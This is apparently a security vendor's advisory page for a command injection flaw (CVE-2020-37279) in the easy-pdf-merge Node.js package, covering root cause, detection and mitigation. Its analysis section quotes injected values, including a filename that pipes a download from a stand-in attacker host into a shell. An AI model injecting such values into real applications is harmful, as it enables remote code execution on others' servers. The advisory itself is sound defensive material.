Skip to main content
Vulnerability Database/CVE-2020-37279

CVE-2020-37279: easy-pdf-merge RCE Vulnerability

CVE-2020-37279 is a command injection flaw in easy-pdf-merge versions 0.1.0 through 0.2.6 that lets attackers execute arbitrary OS commands. This article covers technical details, affected versions, and mitigation.

Published:

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Sources: National Vulnerability Database, CISA KEV, Exploit-DB

CVE-2020-37279 Overview

CVE-2020-37279 is an operating system command injection vulnerability [CWE-78] in the easy-pdf-merge Node.js package versions 0.1.0 through 0.2.6. The merge() function passes user-controlled source paths, destination path, and maxHeap option into child_process.exec() without sanitization. Attackers who control any of these inputs can inject shell metacharacters such as double quotes, semicolons, $(), or backticks to execute arbitrary commands. The injected commands run through a shell with the privileges of the Node.js process.

Critical Impact

Successful exploitation yields arbitrary OS command execution under the Node.js process context, enabling full host compromise where attacker-controlled file names or options are accepted.

Affected Products

  • easy-pdf-merge version 0.1.0
  • easy-pdf-merge versions 0.2.0 through 0.2.5
  • easy-pdf-merge version 0.2.6

Discovery Timeline

  • 2026-10-12 - CVE-2020-37279 published to NVD
  • 2026-10-13 - Last updated in NVD database

Technical Details for CVE-2020-37279

Vulnerability Analysis

The easy-pdf-merge package wraps a shell command that invokes a PDF merging utility. In source/lib/PDFMerger.js (lines 71–75 of tag v0.2.6), the library concatenates the caller-supplied source file paths, destination path, and maxHeap option into a command string and passes the result to Node.js child_process.exec().

child_process.exec() spawns a shell to interpret the full command. Any metacharacter in the input terminates or extends the intended command. An attacker who controls a filename such as "; curl attacker/x | sh; echo " or a maxHeap value such as $(id) can inject arbitrary commands.

Because the vulnerable function is a standard library entry point, any application accepting untrusted filenames, upload names, or configuration values and forwarding them to merge() inherits the flaw. The resulting commands execute with the privileges of the Node.js runtime.

Root Cause

The root cause is unsafe command construction. The library builds a shell string via concatenation instead of using the argv-style child_process.execFile() or spawn() APIs, and performs no quoting, escaping, or allowlisting of the input values. See the vulnerable code snippet for the exact construction.

Attack Vector

Exploitation requires that an attacker influence one of three inputs to merge(): the source paths array, the destination path, or the maxHeap option. Web applications that pass uploaded filenames, user-chosen output names, or request-driven configuration to the library are directly exposed. The attack is remote where the hosting application accepts such input over the network. Technical details are tracked in the VulnCheck advisory and the upstream Pull Request #28 and Pull Request #45.

// Example exploitation code (sanitized)
// No verified exploit code is published. The injection pattern involves supplying
// a source path, destination path, or maxHeap value containing shell metacharacters
// such as: "; <command>; # $(<command>) `<command>`
// which child_process.exec() then evaluates through /bin/sh.

Stop Remote Code Execution Before It Runs

Singularity™ Endpoint detects and blocks exploit attempts at machine speed, including zero-days and novel attack techniques.

Stop Exploit Attempts

Detection Methods for CVE-2020-37279

Indicators of Compromise

  • Unexpected child processes (sh, bash, cmd.exe, curl, wget, nc) spawned by a Node.js process that normally only invokes the PDF merge binary.
  • Outbound network connections initiated by the Node.js process to unknown hosts shortly after a PDF merge request.
  • Filenames or request parameters containing shell metacharacters such as ;, |, `, $(, or embedded double quotes in web server access logs.

Detection Strategies

  • Perform a software composition analysis (SCA) scan of package.json and package-lock.json files across repositories and container images to identify any easy-pdf-merge version in the vulnerable range 0.1.0 through 0.2.6.
  • Instrument application-layer logging to record all arguments passed to merge() and alert on any input containing shell metacharacters.
  • Use EDR process-tree telemetry to flag Node.js parents spawning unexpected shells or network utilities.

Monitoring Recommendations

  • Monitor process creation events where the parent is node and the child is a shell interpreter or command-line downloader.
  • Correlate web request logs for PDF-related endpoints with subsequent process executions to identify suspicious causality.
  • Track egress traffic from application servers hosting the vulnerable package and alert on connections outside expected destinations.

How to Mitigate CVE-2020-37279

Immediate Actions Required

  • Inventory all Node.js applications and container images for the easy-pdf-merge dependency and remove or replace any instance in the vulnerable range.
  • Where removal is not immediately possible, strictly validate inputs to merge() using an allowlist that rejects any character outside [A-Za-z0-9._/-].
  • Audit upstream code paths that forward user-controlled filenames, output paths, or configuration into the library.

Patch Information

No fixed release of easy-pdf-merge is identified in the advisory data. Review the status of Pull Request #28 and Pull Request #45 in the project repository and the VulnCheck advisory for current remediation guidance. Consider migrating to an actively maintained PDF merge library that uses argv-style process APIs.

Workarounds

  • Replace calls to the library with a wrapper that invokes the underlying PDF tool via child_process.execFile() or spawn() with an argument array, avoiding shell interpretation entirely.
  • Enforce server-side filename normalization: strip or reject any input containing shell metacharacters before reaching the library.
  • Run the Node.js service under a low-privilege account inside a container with a read-only root filesystem and restricted egress to limit post-exploitation impact.
bash
# Configuration example
# Identify vulnerable installations in a project tree
npm ls easy-pdf-merge

# Remove the package where feasible
npm uninstall easy-pdf-merge

# Example input allowlist check (Node.js)
#   if (!/^[A-Za-z0-9._\/-]+$/.test(path)) throw new Error('invalid path');

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Sources: National Vulnerability Database, CISA KEV, Exploit-DB

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.